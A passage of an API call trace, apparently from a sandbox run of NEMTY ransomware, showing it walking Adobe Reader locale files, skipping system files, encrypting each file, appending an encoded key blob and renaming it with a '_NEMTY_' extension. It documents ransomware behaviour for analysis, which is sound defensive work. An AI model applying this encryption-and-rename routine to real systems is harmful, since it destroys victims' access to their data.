lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2132ccf0, dwHighDateTime=0x1d561e8)) [0183.797] GetLastError () returned 0x0 [0183.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.797] GetLastError () returned 0x0 [0183.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.798] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.798] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="TGnNP4mRsRXfkd43gjSmbOSWpiuHhfOg8MrOi+XqEWLPC0Se+0lbP/Yf+VSLYd68\r\nu7vnh7bwy0z/3IE1/WXJcQsGV18VC8YwiQYEroslIUqHPkH0j2KbGZ3ueULwxYJH\r\noNEvWToL5lC9PnxFXNFf4XZZjDpdraNFDpkaKBUo/DvMQOTSqSK4Hy67481P1UhC\r\nlPclHuBE180yChBKISqoyVmkE+X4nq9LPEM7RDECB0SQWRt1E60qTI64En9VmUNp\r\nfOYzUzx1xvcA7OmDHJuuZ5qDoSrDklf7ysvYbk6bDW7KN679LJQ22ssmIPXCNLvE\r\n71yqx48VXrAtNfcrr9Jovw==\r\n", pcchString=0x653e5dc) returned 1 [0183.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.798] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Acroform.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\acroform.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.799] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=407552) returned 1 [0183.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.799] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.799] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.808] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.808] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=407552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63800 [0183.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.810] CloseHandle (hObject=0x2e8) returned 1 [0183.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.811] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Acroform.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\acroform.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Acroform.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\acroform.slv._nemty_kgobjgd_")) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.811] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.SLV", cAlternateFileName="ADOBEC~1.SLV")) returned 1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2=".") returned 1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="..") returned 1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="...") returned 1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="windows") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="rsa") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="NTDETECT.COM") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="ntldr") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="MSDOS.SYS") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="IO.SYS") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="boot.ini") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="boot.ini") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="AUTOEXEC.BAT") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="ntuser.dat") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="desktop.ini") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="CONFIG.SYS") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="RECYCLER") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="BOOTSECT.BAK") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="bootmgr") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="programdata") returned -1 [0183.812] lstrcmpiW (lpString1="AdobeCollabSync.SLV", lpString2="appdata") returned -1 [0183.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SLV", lpUsedDefaultChar=0x0) returned 19 [0183.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SLV", lpUsedDefaultChar=0x0) returned 19 [0183.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SLV", lpUsedDefaultChar=0x0) returned 19 [0183.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.813] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SLV", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SLV", lpUsedDefaultChar=0x0) returned 19 [0183.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.813] Sleep (dwMilliseconds=0x5) [0183.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21378fb0, dwHighDateTime=0x1d561e8)) [0183.828] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21378fb0, dwHighDateTime=0x1d561e8)) [0183.828] GetLastError () returned 0x0 [0183.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.828] GetLastError () returned 0x0 [0183.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.829] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.829] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="dk1O/pAV3tyl2J7uv8vF8AJRp6kPoRdIchEpIizKpkSfz6lh4dUdoePglTFYo2ld\r\nMlPu0pvd5RoiWLQYtpGbd8hkm3qrBHw0L405LLs9RSPFsIUGcQMv+tV3uji9fGmO\r\nevTCwZfnMgdd+N/kEP2wFUlCQKnhnc0PEtuJrjUZVxgtUUjPtflgGc3MtNilKZoP\r\n4mJ3TKFQa4oVVd662YsEwDgv6LPcNawzwKNIMbgNt/yeNYKxrVJQH7OX396NCM/s\r\ndfskA6DvD0Dmw8Z+G+/joFgFwBuPgVp3NZ8khNSHS43eKUeLSx7Jv4pmceH8ntyG\r\niEXHwFTT0Clyob6mTUOXZg==\r\n", pcchString=0x653e5dc) returned 1 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\AdobeCollabSync.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\adobecollabsync.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.829] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0183.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0183.830] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.830] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0183.832] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.832] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0183.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.832] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0183.832] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.832] CloseHandle (hObject=0x2e8) returned 1 [0183.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0183.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.832] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\AdobeCollabSync.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\adobecollabsync.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\AdobeCollabSync.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\adobecollabsync.slv._nemty_kgobjgd_")) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.833] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.SLV", cAlternateFileName="")) returned 1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2=".") returned 1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="..") returned 1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="...") returned 1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="windows") returned -1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="rsa") returned -1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="NTDETECT.COM") returned -1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="ntldr") returned -1 [0183.833] lstrcmpiW (lpString1="Annots.SLV", lpString2="MSDOS.SYS") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="IO.SYS") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="boot.ini") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="boot.ini") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="AUTOEXEC.BAT") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="ntuser.dat") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="desktop.ini") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="CONFIG.SYS") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="RECYCLER") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="BOOTSECT.BAK") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="bootmgr") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="programdata") returned -1 [0183.834] lstrcmpiW (lpString1="Annots.SLV", lpString2="appdata") returned -1 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SLV", lpUsedDefaultChar=0x0) returned 10 [0183.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.834] 